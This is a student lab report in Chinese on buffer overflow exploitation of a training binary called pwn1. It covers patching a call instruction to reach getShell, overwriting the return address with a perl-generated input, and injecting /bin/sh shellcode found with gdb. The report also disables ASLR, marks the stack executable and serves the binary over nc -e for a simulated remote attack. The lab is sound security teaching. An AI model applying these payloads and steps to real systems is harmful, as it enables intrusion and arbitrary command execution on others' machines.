首页 > 其他分享 >20222304 2024-2025-1 《网络与系统攻防技术》实验一实验报告

20222304 2024-2025-1 《网络与系统攻防技术》实验一实验报告

时间:2024-10-10 21:12:00浏览次数:7  
标签:x90 函数 2024 2025 如图 20222304 shellcode 输入

1.实验内容
1.1本周学习内容
1)反汇编
反汇编是指将计算机程序的机器代码转换回其相应的汇编代码的过程。在计算机编程和逆向工程领域中,反汇编是一种常见的技术,用于理解和分析二进制程序的功能和内部结构。
通常情况下,程序员编写的源代码会被编译器转换成机器码,这是计算机可以直接执行的二进制形式。然而,有时需要查看或修改程序的行为,但却无法获得源代码。在这种情况下,可以使用反汇编工具将机器码转换回
汇编代码,以便程序员可以理解程序的工作原理,并进行必要的修改或分析。
2)缓冲区溢出
缓冲区溢出是一种常见的计算机安全漏洞,指的是当程序试图向一个固定大小的缓冲区写入超过其容量的数据时所发生的情况。这可能导致程序的行为异常甚至崩溃,甚至可能被利用来执行恶意代码。
3)缓冲区溢出的原因
未正确验证输入数据的长度:
如果程序在接受输入数据时没有对其长度进行正确的检查,攻击者可以输入比缓冲区容量更大的数据,从而导致溢出。
使用不安全的函数:
某些 C/C++ 函数(如 gets()、strcpy() 等)没有对目标缓冲区的大小进行验证,因此可能导致溢出。
4)堆栈溢出:
在函数调用时,局部变量通常存储在栈上。如果函数没有正确地管理栈上的变量,攻击者可能会覆盖栈上的返回地址或其他重要数据,以执行恶意代码。
1.2实验目标
1) 本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入
运行任何Shellcode。
2)三个实践内容如下:
①手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
②利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
③注入一个自己制作的shellcode并运行这段shellcode。

2.实验过程
1)实验环境及工具
虚拟机环境 kali系统
2)实验步骤
(1)直接修改程序机器指令,改变程序执行流程,直接跳转到getShell函数。
打开kali的终端,并进入pwn1所在的文件夹,输入objdump -d 20222304 | more命令反汇编文件。在反汇编后的内容中寻找getshell函数、foo函数和main函数。
如图:
从给出的实验指导书中可知,在main函数中的内选中部分的call 8048491 是指调用foo函数,其中8048491便是入口地址,对应的十六进制指令是e8 d7 ff ff ff,e8是跳转的意思,所以要修改e8后面的地址,改为c3 ff ff ff,让代码直接跳转至getshell的函数入口。
确定要完成的操作便是需要对e8 d7进行修改,首先对pwn1进行复制备份,代码为:cp 20222304 pwn2以防被破坏,然后输入vi pwn2对文件进行修改。
但是这样的复杂代码看不懂,需要按esc键后再输入:%!xxd将其变为16进制。
然后找到e8 d7所在的位置,然后按i进行修改,将其修改为e8 c3
如图:
然后需要输入:%!xxd -r 还原为原格式,然后:wq保存并退出。
然后可以输入 objdump -d 20222304 | more 定位过去验证已经成功修改。
如图:
然后运行./pwn2,会得到shell提示符
如图:
(2)了解程序的基本功能,并确定输入字符串哪几个字符会覆盖返回地址。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
输入 objdump -d 20222304| more查看20222304文件调用foo函数,函数的功能是调用gets读进用户输入的字符串然后用puts函数将字符串输出,但并未检查输入的范围易存在缓冲区溢出,有BOF漏洞。仔细分析后发现foo函数存在漏洞:系统仅预留了0x1c字节的缓冲器,超出部分将发生溢出。
然后安装gdb,输入gdb 20222304对文件20222304进行调试,再输入r运行。
如图:
然后输入1111111122222222333333334444444455555555,来查看缓冲区溢出对返回地址的覆盖。
然后输入 info r发现eip中的内容被覆盖为0x35353535。继续尝试之后发现第33~36个字节将会覆盖eip的内容。所以只需要将这四个字符替换为getshell的内存地址,就可以运行getshell
如图:
如果输入字符串1111111122222222333333334444444412345678,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。
那只要把这四个字符替换为 getShell 的内存地址,输给 20222304,20222304就会运行getShell。
如图:
在第一步中已知getshell的内存地址为0x804847d,通过测试可知需要将内存地址反着输入。
所以需要输入字符串111111112222222233333333\x7d\x84\04\08\0a。输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input,将其生成十六进制字符串文件。
再输入xxd input查看是否成功。
接着输入(cat input; cat) | ./20222304。
如图:
(3)注入Shellcode并执行
第一步完成准备工作,即设置堆栈可执行,查询文件的堆栈是否可执行等操作。
但是此处会出现问题,即execstack这个指令提示不存在,并且apt get install execstack也无法安装。
所以决定外部官网安装,官网链接为:http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb。
安装好后使用sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb命令进行解压,最终安装成功。
如图:
将20222304的堆栈设置为可执行,并查询。
然后再输入more /proc/sys/kernel/randomize_va_space查看地址随机化的状态是否关闭,输入echo “0”> /proc/sys/kernel/randomize_va_space 关闭地址随机化,再次查询地址随机化的状态为关闭。
过程图如上
将shellcode生成一个可执行文件。输入代码perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
打开一个终端注入这段攻击buf。输入(cat input_shellcode;cat) | ./20222304
如图:
再开另外一个终端,用gdb来调试20222304这个进程
//1.找20222304的进程号
输入代码:ps -ef | grep 20222304
找到为进程号:168418
//2.用gdb调试这个进程
输入代码:gdb
//3.通过设置断点,来查看注入buf的内存地址
输入代码:disassemble foo
break *0x080484ae
c
如图:
但是!!!出现错误跳入坑内....
!!!所以只能从头再来
使用以下命令进行构造shellcode的输入(x1x2x3x4是用来占位的,后续将替换为注入shellcode的地址,也就是foo函数中return address的位置,这个地址需要我们接下来去gdb分析寻找),并将其放入名为input_shellcode的文件中:Perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
输入以下命令将input_shellcode的输入内容作为20222304的输入:(cat input_shellcode; cat) | ./20222304
如图:
新打开一个新终端,输入ps -ef | grep 20222304,查看20222304文件的进程以及进程号。
如图:
可以看到,进程号分别为175864和176184,但是175864才是pwn文件的进程号。
此后,再在这个新终端中使用gdb进行调试,输入gdb 20222304,来获取foo函数中returnaddress的位置。
输入命令attach 175864,输入刚刚查找的进程号
输入命令disassemble foo,反编译foo函数并进行分析
可以看到,ret的地址为0x080484ae,因此,在这里设置断点,继续分析
输入命令break *0x080484ae
在新终端输入c,c表示continue继续运行,继续运行后,在老终端按一下enter键,否则新终端的continue将一直进行。
输入info r esp查看栈顶指针所在位置,如下图可知栈顶指针所在的位置为0xffffd3bc
如图:
因此,栈顶指针地址再加4字节,就是shellcode应该处于的地址,即0xffffd3bc+4=0xffffd3c0
如图:
现在可以进行shellcode的注入,最终获取shell。将0x04030201换成上述我们计算出来的位置0xffffd3c0,且用机器存储的方式,颠倒一下,重新进行输入。在原终端中输入perl -e 'print "A" x 32;print "\xc0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode,然后再输入(cat input_shellcode; cat) | ./20222304,将input_shellcode的输入内容作为20222304的输入。
如图:
(4)结合nc模拟远程攻击
先查找出自己的ip地址:ipconfig。
主机1,模拟一个有漏洞的网络服务:nc -l 192.168.31.125 -p 28234 -e ./20222304
如图:
主机2,连接主机1并发送攻击载荷:(cat input_shellcode; cat) | nc 192.168.31.125 28234
如图:
输入shell指令就可以:ls。完成显示
如图:
3.问题及解决方案

  • 问题1:关于gdb的安装
    如图:
  • 问题1解决方案:根据指导书无法进行下去后查阅资料和询问同学可知安装路径
  • 问题2:4.2准备工作中的execstack无法安装
  • 问题2解决方案:通过寻求同学帮助得知可以用外部安装包导入,直接实现安装execstack
    如图:
  • 问题3:在第三步进行shellcode的注入的时候,当时没理解指导书所表达含义匆匆复制粘贴代码,导致在变化时候没加4出现错误
    -问题3解决方案:通过求助同学,重新理解注入攻击过程
    4.学习感悟、思考等
    通过本次实验,让我对反汇编的操作有了更深入的理解,了解到这种技术的强大,同时也对缓冲区溢出攻击的理解更加深入,以前总是停留在表面,本次实验,让我切实的知道了缓冲区溢出攻击的具体操作,整体的实验难度不是特别的大,但是涉及了许多的新知识,比较陌生,但是收获也是很多。让我对Linux的各种指令更加理解,对gdb和execstack等工具也有了更多的了解。但是仍有很多地方存在不足,以后将会继续学习,不断努力。

参考资料

安装execstack软件网址 http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb

标签:x90,函数,2024,2025,如图,20222304,shellcode,输入
From: https://www.cnblogs.com/amlyl/p/18456113

相关文章

  • 2024CCPC山东邀请赛 IAFCK
    2024CCPC山东邀请赛IAFCKI.LeftShifting思路:要第一个和最后一个一样,那找到第一个连续的两个一样的就是答案。如果一开始第一个和最后一个就是一样的,那就是0。//AConemoretimes//nndbk#include<bits/stdc++.h>usingnamespacestd;typedeflonglongll;constin......
  • DCL&并发事务问题与解决 -2024/10/10
    DCLusemysql;--创建用户createuser'yd'@'localhost'identifiedby'123456';--修改用户的密码alteruser'yd'@'localhost'identifiedby'1234';--%表示任意主机都可以访问--删除用户dropuser'yd'@'l......
  • 20222321 2024-2025-1 《网络与系统攻防技术》实验一实验报告
    一.实验内容1实验目标本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想......
  • 20222411 2024-2025-1 《网络与系统攻防技术》实验一实验报告
    1.实验内容1.1基础知识1.1.1NOP,JNE,JE,JMP,CMP汇编指令的机器码(1)NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)(2)JNE:条件转移指令,如果不相等则跳转。(机器码:75)(3)JE:条件转移指令,如果相等则跳转。(......
  • 2024年1月Java项目开发指南18:自定义异常输出
    一般情况下,报错信息一大堆,值得注意的只有三个地方:哪个文件发生了错误哪一行发生了错误错误原因是什么只要知道这三个东西就能快速的定位到错误发生的位置并且根据提示解决。如果你也喜欢我的这种异常输出(如文章顶部图)那么可以参考以下代码:packagecom.guaiguailang.harm......
  • 2024-10-10 闲话
    王杨卢骆尔等乱臣贼子,为何还有苟且偷生之意。曹操坐在庙堂之上,向下面的死囚咆哮着。身上虽有铁索连环,但死囚鱼视死如归,决不愿意在这枭雄手下做任何事情。与他不同的是,死囚俱就不愿成就大义,却想留下一条小命,不怕没柴烧的。名利乃是俱穷其一生追求的事情,现在身为阶下囚,只能享受狱里......
  • markdown的html优雅使用语法(2024/10/10guixiang原创)
    一:图片部分第一范式图2全字段排序 <center><imgstyle="border-radius:0.3125em;box-shadow:02px4px0rgba(34,36,38,.12),02px10px0rgba(34,36,38,.08);"width="500"height="400"src="......
  • 2024初秋集训——提高组 #35
    A.语言题目描述在一个语言中,有\(26\)种单词,每个单词用一个小写英文字母表示。每种单词可能有多种词性,词性有名词(\(N\))、动词(\(V\))、形容词(\(A\))。我们定义一个名词短句(\(NP\))为一个名词(\(N\))或一个形容词加名词短句(\(A+NP\))或两个名词短句(\(NP_1+NP_2\)),一个句子(\(S\))为一个名......
  • 【专题】2024年中国电商市场研究报告合集PDF分享(附原数据表)
    原文链接:https://tecdat.cn/?p=37835在全球电商持续发展的背景下,中国电商市场面临新态势。增长压力与机遇并存,从综合电商与直播电商发展的放缓,到企业3C数码商用品电商采购的趋势,以及零售业拥抱“性价比时代”,中国电商正积极探索新路径。同时,社群电商爆品营销也为出海品牌带来......
  • 尚硅谷rabbitmq 2024 第50节 集群负载均衡 核心功能 答疑
    消费者用@RabbitListener或者@KafkaLisenter,那生产者呢(springboot)在SpringBoot中,生产者可以使用`RabbitTemplate`来发送消息到RabbitMQ。以下是一个简单的示例:```javaimportorg.springframework.amqp.rabbit.core.RabbitTemplate;importorg.springframework.beans.fac......